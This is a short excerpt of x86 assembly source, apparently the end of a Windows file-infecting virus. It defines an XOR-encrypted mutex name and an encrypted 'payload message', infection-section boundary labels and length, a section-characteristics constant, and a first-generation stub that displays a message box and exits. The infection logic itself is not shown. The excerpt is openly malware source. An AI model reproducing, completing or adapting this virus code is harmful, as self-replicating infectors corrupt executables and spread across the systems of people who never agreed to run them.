szMutexName db 0E1H,0EFH,0F8H,0E4H,0EFH,0E6H,0F5H,0E6H,0E5H ; encrypted mutex name
db 0FCH,0EFH,097H,0E3H,0F5H,0E6H,0C5H,0DCH,0CFH
db 0F5H,0F3H,0C5H,0DFH,0F5H,0EDH,0CFH,0C5H,0D8H
db 0CDH,0C3H,0C4H,0CBH,0F5H,098H,0E0H,0F0H,0EBH
db 09DH,09FH,09DH,0F5H,0E1H,0E3H,0F9H,0F9H,0EFH
db 0F9H,0AAH
MutexNameSize equ $-szMutexName ; size of mutex name
szVirus db 0FFH,08AH,0D8H,08AH,0C3H,0C4H,0CCH,0CFH,0C9H ; encrypted pyload message
db 0DEH,0CFH,0CEH,08AH,0DDH,0C3H,0DEH,0C2H,08AH
db 0FDH,0C3H,0C4H,099H,098H,084H,0EDH,0CFH,0C5H
db 0D8H,0CDH,0C3H,0C4H,0CBH,08AH,0DCH,0C3H,0D8H
db 0DFH,0D9H,08BH,0A7H,0A0H,0EDH,0CFH,0C5H,0D8H
db 0CDH,0C3H,0C4H,0CBH,086H,0E3H,08AH,0C6H,0C5H
db 0DCH,0CFH,08AH,0DFH,08AH,0CBH,0C4H,0CEH,08AH
db 0DDH,0C3H,0C6H,0C6H,08AH,0C6H,0C5H,0DCH,0CFH
db 08AH,09EH,0CFH,0DCH,0CFH,0D8H,08BH,0A7H,0A0H
db 082H,0E9H,083H,09AH,0CEH,0CFH,0CEH,08AH,0C8H
db 0D3H,08AH,0E1H,0C3H,0E4H,0EFH,0FEH,0C3H,0E1H
db 086H,08AH,0E7H,0CBH,0D3H,08AH,098H,09AH,09AH
db 098H,0AAH
szVirusMsgSize equ $-szVirus ; size of payload message
Time SYSTEMTIME <0,0,0,0,0,0,0,0>
ThreadID1 dd 0h
ThreadID2 dd 0h
ThreadID3 dd 0h
_EBP dd ?
_ImageBase dd ?
_EntryPoint dd ?
infect_section_end:
INFECTLENGTH equ (infect_section_end - infect_section)
CHARSNEW equ 0E0000020h
_1st_generation:
call MessageBox,0,offset szMessage,offset szCaption,MB_OK
call ExitProcess,0
end main